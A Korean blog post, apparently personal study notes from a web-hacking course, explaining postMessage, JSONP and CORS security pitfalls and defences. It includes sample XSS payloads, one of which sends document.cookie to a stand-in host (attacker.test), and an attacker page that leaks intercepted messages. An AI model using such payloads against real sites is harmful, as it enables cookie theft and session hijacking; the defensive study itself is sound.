CORS 기술 사용 시 문제점
현재 사이트에서 다른 사이트로 정보 유출 (기밀성)
다른 사이트에서 현재 사이트 변조 (무결성)
- 다른 사이트로부터 스크립트 등이 심어져 XSS 가능
메시지 전송할 때 대상 윈도의 postMessage 메소드를 호출, 수신하는 윈도는 message 전역 이벤트를 청취
targetWindow.postMessage(message, targetOrigin[, transfer])
targetWindow | 메시지를 보낼 대상 Window |
message | 메시지 객체 (함수, DOM 객체 등은 보낼 수 없음) |
targetOrigin | 메시지 송신 시점에 targetWindow의 Origin이 targetOrigin과 일치하여야 함. targetOrigin에 "*"을 지정하면 Origin 검사가 이루어지지 않음. |
transfer | (선택사항) ArrayBuffer나 canvas context 등 소유권을 전이할 객체의 배열을 지정. |
message 이벤트 (MessageEvent)
origin | 메시지를 송신한 Origin 반환 |
source | 메시지를 송신한 Window 객체 반환 |
data | 복사된 메시지 객체 또는 값 반환 |
// 메시지 송신
targetWindow.postMessage(message, targetOrigin);
// 메시지 수신
window.onmessage = function (e) {
if (e.origin === 'https://dreamhack.io') {
console.log(e.data);
e.source.postMessage('Hello, world!', e.origin);
}
}
postMessage로 문자열뿐만 아니라 객체도 전송 가능.
함수나 DOM 객체, 프로토타입은 전송 불가능.
// https://dreamhack.io
window.onmessage = function (e) {
var dialog = document.getElementById('my-dialog');
if (dialog == null) {
dialog = document.createElement('dialog');
dialog.id = 'my-dialog';
document.body.appendChild(dialog);
}
dialog.setAttribute('open', '');
dialog.innerHTML = e.data;
};
// https://bob.dreamhack.io
parent.postMessage('<h1>안내</h1><p>작업이 완료되었습니다.</p>', 'https://dreamhack.io');
// https://attacker.test
parent.postMessage(`XSS attack<script>
new Image().src="https://attacker.test/retrieve?" + document.cookie);
alert(document.domain);
<${'/'}script>`, 'https://dreamhack.io');
origin확인 안하고 보내면 보안문제 발생.
Window.postMessage 사용 시 취약점 - Origin 전환 경합 조건
postMessage 사용 시 기억해야하는점은 메시지를 보내는 대상이 웹 문서가 아닌 창(윈도)라는 점.
창의 경우는 사용자가 하이퍼링크를 방문하거나 스크립트가 다른문서로 redirect 시켜 들어 있는 문서가 바뀔 수도 있음.
이 상태에서 메시지를 보내게 되면 의도하지 않은 origin에 메시지가 누출될 수 있음.
postMessage의 두 번째 매개변수 targetOrigin에 대상 Origin 문자열을 명시하면 이 문제를 해결 가능.
<!DOCTYPE html>
<title>검색 결과</title>
<script>
window.onmessage = function (e) {
if (e.origin === 'https://settings.dreamhack.io') {
document.getElementById('cur_set').textContent = e.data;
}
}
</script>
<a target="_blank" href="https://settings.dreamhack.io/">검색 설정 (현재: <span id="cur_set">0</span>)</a>
<ul>
<li><a href="https://attacker.test/entry" rel="noopener noreferrer nofollow">스폰서 링크</a></li> <!-- 공격자 페이지 -->
</ul>
<!DOCTYPE html>
<form onsubmit="opener.postMessage(this.setting.value, '*');window.close();return false">
<input type="text" name="setting" value="0" />
<input type="submit" value="확인" />
</form>
<script>window.onmessage = function (e) {
alert('Current setting: ' + e.data);
new Image().src = "/retrieve?" + e.data;
};</script>
JSONP
json with padding의 준말.
CORS 기술 도입 전 SOP (Same Origin Policy) 우회하기 위해 썼던 방식.
API 제공자 코드를 그대로 사용자 웹문서에서 실행.
하지만 API 서버가 침해되면 사용하는 문서 역시 XSS 공격에 취약해짐. -> 따라서 사용 감소하는 추세
JSONP API는 응답 데이터를 특정 콜백 함수를 호출하는 코드로 감쌈. (ajax의 success?)
<script src="https://api.test/request.jsonp?id=123&callback=onAPIResponse">
callback 함수 지정해놓고
onAPIResponse({...});
이렇게 응답 메소드로 받음.
JSONP 발생 취약점
- origin 검사 부재로 인한 CSRF
- 민감한 정보반환 API 는 origin을 반드시 확인해야 한다.
- 콜백 함수명 검증 부재로 인한 제공자 XSS
- 콜백명에 HTML 코드 등을 삽입하면 브라우저는 이를 HTML로 인식 가능 XSS 취약점 발생함.
- HTTP Accept 헤더에 text/javascript MIME 타입이 포함되어 있는지 검사.
- Content-Type : text/javascript 설정 및 X-Content-Type-Option : nosniff 헤더로 응답이 자바스크립트가 아닌 다른 콘텐츠로 인식되는 경우 방지.
- JSONP API 침해 사고 발생 시 사용자 XSS
- API 침해사고 발생 시에 CSP 밖에 별다른 방법 없음.
CORS 정책
CORS 정책은 서버가 HTTP 응답 헤더를 통해 직접 허용하고자 하는 Origin을 지정할 수 있도록 하는 기술
SOP와 JSONP의 한계를 넘기 위해 설계됨.
CORS요청 보낼 때 브라우저는 먼저 대상 웹 서버에 OPTIONS 메소드를 가진 예행(pre-flight) 요청을 추가로 보냄
이는 서버가 CORS 접근을 지원하는지 판별하는 과정 , 만약 OPTIONS 해더를 지원하지 않는다면 CORS 요청 중단됨.
만약 CORS 정책 지원 시에 OPTIONS 요청의 응답에 허용되는 Origin 등에 대한 정보를 보냄.
관련 HTTP 헤더
Access-Control-Allow-Origin | 요청이 허용되는 Origin 지정, * 의 경우 모든 Origin 허용 |
Access-Control-Allow-Credentials | 요청에 신원 정보(쿠기 등)이 포함될 수 있는지 지정 |
Access-Control-Allow-Methods | 요청에 허용되는 메소드 지정 |
Access-Control-Allow-Headers | 요청에 허용되는 헤더 지정 |
Access-Control-Expose-Headers | 웹 클라이언트가 접근할 수 있는 응답 헤더 지정 |
Access-Control-Max-Age | CORS 정책이 캐시될 수 있는 최대 기간 지정 |
CORS를 요청하는 클라이언트의 헤더
Access-Control-Request-Headers | OPTIONS 요청이 끝나고 실제 요청을 보낼 때 포함될 헤더의 목록을 지정합니다. |
Access-Control-Request-Method | OPTIONS 요청이 끝나고 실제 요청을 보낼 때 사용될 HTTP 메소드 이름을 지정합니다. |
Access-Conrtol-Allow-Origin이 *로 설정되는 등 헤더가 잘못 설정되면 다른 웹 페이지에서 모든 서비스가 접근 가능하게 될 수 있음.
따라서 명시적인 Origin 값을 가져야 함
'Security' 카테고리의 다른 글
[Webhacking] [client-side advanced] Exploit Techniques - Relative Path Overwrite (RPO) (0) | 2021.11.03 |
---|---|
[systemhacking] 시스템 해킹 기초 (0) | 2021.10.28 |
[Webhacking] [client-side advanced] CSRF (0) | 2021.10.24 |
[Webhacking] [client-side advanced] CSP (0) | 2021.10.22 |
[Webhacking] [client-side advanced] XSS (1) | 2021.10.05 |